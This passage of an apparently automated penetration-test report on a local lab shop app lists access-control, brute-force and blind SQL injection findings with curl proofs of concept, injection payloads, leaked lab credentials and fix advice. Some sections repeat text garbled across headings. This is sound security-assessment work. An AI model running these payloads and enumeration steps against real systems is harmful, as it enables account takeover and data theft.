Observed: - No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40). [E01] Not demonstrated: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Enforce object-level authorization (id === token id, or admin) on /api/v2/users/:id, and use a strict output DTO that never serializes password/apiKey. Store passwords hashed (bcrypt/argon2), never plaintext; rotate the exposed admin password and API keys.

Proof of concept — step by step

  1. curl -s -c a.jar --data-urlencode 'username=poc3' --data-urlencode 'email=poc3@example.test' --data-urlencode 'password=Pw_3!aa' http://localhost:3000/register
  2. T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')
  3. # control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/users/1  -> 401
  4. curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/users/1
  5. # observe admin's plaintext password + apiKey returned to a customer token

Payload

GET /api/v2/users/1 (admin) with a low-privilege customer's Bearer JWT

Technical evidence

AGENT-RECORDED EVIDENCE
No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40).

Low 13. POST /login accepted 25 failed attempts for one user with no 429, no Retry-After, no RateLimit-* header and… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA07:2021-Auth-Failures · CWE-307Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/login
Agentaccount_registration_and_forms
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

http://localhost:3000/login — POST /login, repeated failed attempts for a single `username` — response never throttles

What it means

Observed: - POST /login wrong pass -> 302 /login?err=...no lockout enforced [E01] - 25 consecutive failed POSTs -> all 302, 429 count = 0, no Retry-After/RateLimit headers [E02] - POST /login correct pass -> 302 /account (failures are genuine) [E03] Not demonstrated: credential brute-force / password spraying. The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: Absent throttling permits offline-speed online guessing; combined with a weak password an account could be taken over.

How to fix it

Add per-account and per-IP throttling with exponential backoff and temporary lockout on POST /login (e.g. express-rate-limit + failed-attempt counter); return 429 with Retry-After when exceeded.

Proof of concept — step by step

  1. for i in $(seq 1 25); do curl -s -o /dev/null -w '%{http_code} ' --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode "password=wrong$i" http://localhost:3000/login; done
  2. # observe: all 302, no 429
  3. curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=x' http://localhost:3000/login | grep -iE 'ratelimit|retry-after|location'
  4. # baseline success: curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login | grep -i location  # -> /account

Payload

username=nrsplt_5e5001b1&password=wrong1 ... wrong25 (25 consecutive failures)

Technical evidence

AGENT-RECORDED EVIDENCE
25 consecutive wrong-password POSTs all returned HTTP 302 -> Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). Zero 429 responses, no Retry-After, no RateLimit-* headers, no lockout. Server's own error string states 'no lockout enforced'. Good password still returns 302 -> /account, so failures are genuine rejections.

Info 14. The maxPrice value is concatenated into a backend SQL WHERE clause; an injected boolean expression is… NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA03:2021-Injection · CWE-89Confidence0/1 · refute 1/2 · conf 0.05
Locationhttp://localhost:3000/shop/filter
Agentsqli_blind
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

http://localhost:3000/shop/filter — GET /shop/filter, query parameter `maxPrice` — value concatenated into the WHERE clause of the product-price SQL query

What it means

Observed: - GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 products, body len 1580 [E01] - GET /shop/filter?maxPrice=1000 AND 1=1 -> HTTP 200, 5 products, len 1588 [E02] - GET /shop/filter?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products, len 1209 [E03] - '1'='1' -> 5 products ; '1'='2' -> 0 products (string context) [E04] - 'a'||'b'='ab' -> 5 ; 0x10>1 -> 5 ; 1e3>1 -> 5 ; TRUE -> 5 (SQL dialect confirmation) [E05] - oracle reproduced 3/3: TRUE=5 products, FALSE=0 products [E06] - pocs/blind_sqli_maxprice.sh executed: TRUE=5 FALSE=0 across 3 runs [E08] Not demonstrated: Stored database contents can be extracted via the boolean oracle. Potential impact: If the identifier/keyword denylist is bypassed (blocklists commonly are), the confirmed boolean oracle enables full char-by-char extraction of arbitrary tables (user credentials, PII) and authentication-context manipulation. Not demonstrated here — every extraction vector attempted was blocked (E07).

How to fix it

Replace string concatenation with a parameterised/prepared query for the maxPrice filter (bind maxPrice as a numeric parameter, e.g. `WHERE price <= ?`), and reject non-numeric maxPrice input server-side with a numeric cast/validation. Do not rely on the keyword denylist as the control — it is a blocklist and is bypassable.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/filter?maxPrice=1000' | grep -c 'class="product"'   # baseline => 5
  2. curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=1' | grep -c 'class="product"'   # TRUE => 5
  3. curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=2' | grep -c 'class="product"'   # FALSE => 0
  4. curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'1'='1'" | grep -c 'class="product"'   # TRUE => 5
  5. curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'a'||'b'='ab'" | grep -c 'class="product"'   # SQL concat TRUE => 5
  6. Read result: 5 product blocks = condition TRUE, 0 = condition FALSE. The only variable between the two attack requests is the boolean, proving the SQL engine evaluates injected input.
  7. bash /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/blind_sqli_maxprice.sh

Payload

maxPrice=1000 AND 1=1  (TRUE -> 5 products)  vs  maxPrice=1000 AND 1=2  (FALSE -> 0 products)

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 `class="product"` blocks (len 1580). Attack ?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products (len 1209). ?maxPrice=1000 AND 1=1 -> 5 products. String context identical: '1'='1' -> 5, '1'='2' -> 0. Backend is SQL (SQLite/PG dialect): 'a'||'b'='ab' -> 5 (SQL string concat), 0x10>1 -> 5 (hex literal), 1e3>1 -> 5 (sci notation), TRUE -> 5, chained 2>1 AND 3>2 -> 5 — operator precedence and literal typing match a real SQL engine, not app string-matching. Oracle reproducible 3/3 (TRUE=5, FALSE=0). DATA EXTRACTION NOT ACHIEVED: an identifier/keyword denylist returns 0 rows for any of SELECT, FROM, UNION, VALUES, EXISTS, IS/NULL, LIKE/GLOB/BETWEEN/IN, CASE/CAST and every function call (substr/length/hex/abs/typeof -> 0) and bare column references (name/price/id/rowid -> 0), so no stored value could be read char-by-char in testing. PoC: pocs/blind_sqli_maxprice.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 15. IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/account/invoice/1001
Agentidor
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

http://localhost:3000/account/invoice/1001 — GET /account/invoice/:id — the numeric :id path segment. No per-object ownership check; a logged-in session for any user returns the invoice regardless of owner.

What it means

Observed: - Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions. [E01] Not demonstrated: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

In the /account/invoice/:id handler, load the invoice/order and verify order.userId === req.session.userId (or the caller is an admin) before rendering; return 404/403 otherwise. Do not rely on an unguessable id — enforce a server-side ownership check.

Proof of concept — step by step

  1. curl -s -c a.jar --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw_1!aa' http://localhost:3000/register
  2. # attacker account owns no orders; now read another customer's invoice:
  3. curl -s -b a.jar http://localhost:3000/account/invoice/1001
  4. # observe: HTTP 200, 'Customer: alice', Total $29.99 — data belonging to userId 2 (alice), not the attacker
  5. # control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/account/invoice/1001  -> 302 (auth required, but no owner check once authed)

Payload

GET /account/invoice/1001 with the session cookie of a different user (id 40 / id 41)

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions.

Proof screenshots

proof for IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id
evidence/idor-01-1.png

Info 16. BOLA: JWT holder reads any user's order at GET /api/v2/orders/:id NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/api/v2/orders/1001
Agentidor
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

http://localhost:3000/api/v2/orders/1001 — GET /api/v2/orders/:id — numeric :id. Requires a valid Bearer JWT (from /account/api-token) but performs no check that order.userId matches the token's id.

What it means

Observed: - No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001. [E01] Not demonstrated: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

In the /api/v2/orders/:id handler enforce order.userId === decodedJwt.id (or admin role) after loading the record; return 404/403 on mismatch. Also drop the internal `invoiceNotes`/`_flag` fields from the customer-facing response (BOPLA).

Proof of concept — step by step

  1. curl -s -c a.jar --data-urlencode 'username=poc2' --data-urlencode 'email=poc2@example.test' --data-urlencode 'password=Pw_2!aa' http://localhost:3000/register
  2. T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')
  3. # control (no token): curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/orders/1001  -> 401
  4. curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001
  5. curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1002
  6. # observe distinct owners (userId 2,3,4) and their totals/internal notes

Payload

GET /api/v2/orders/1001 (and 1002, 1003) with a low-privilege customer's Bearer JWT

Technical evidence

AGENT-RECORDED EVIDENCE
No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001.

Info 17. Benign test account self-registered (capability for authenticated testing) NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA07:2021-Auth-Failures · CWE-620Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/register
Agentaccount_registration_and_forms
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-620

Where the problem is

http://localhost:3000/register — POST /register, x-www-form-urlencoded fields username,email,password

What it means

Observed: - POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required. [E01] Not demonstrated: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

If open signup is intended, add email verification before activation; otherwise gate registration. Delete test account nrsplt_5e5001b1@example.test after engagement.

Proof of concept — step by step

  1. curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'email=nrsplt_5e5001b1@example.test' --data-urlencode 'password=NrSplt!d4e885Aa9' -c cj.txt http://localhost:3000/register
  2. curl -s -b cj.txt http://localhost:3000/account | grep 'My Account'
  3. curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login   # -> 302 /account

Payload

username=nrsplt_5e5001b1&email=nrsplt_5e5001b1@example.test&password=NrSplt!d4e885Aa9

Technical evidence

AGENT-RECORDED EVIDENCE
POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required.

Info 18. Test accounts created during the engagement (DELETE after) NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA04:2021-Insecure-DesignConfidenceconf 0.05
Locationhttp://localhost:3000
Agentaccount_registration_and_formsAuth contextn/a · 11 test account(s)
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class

Where the problem is

http://localhost:3000

What it means

Observed: - 11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01] - • nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account [E02] - • nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR [E03] - • nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued [E04] - • poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account) [E05] - • nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar [E06] - • nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar [E07] - • nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password [E08] - • nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users [E09] - • nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password [E10] - • nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued [E11] - • nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run [E12] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Delete the listed test accounts; rotate anything they touched.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s 'http://localhost:3000'

Technical evidence

AGENT-RECORDED EVIDENCE
11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account
• nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR
• nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued
• poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account)
• nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar
• nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar
• nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password
• nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users
• nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password
• nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued
• nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run

Runnable script (extra)

The steps above are the proof; this script automates them.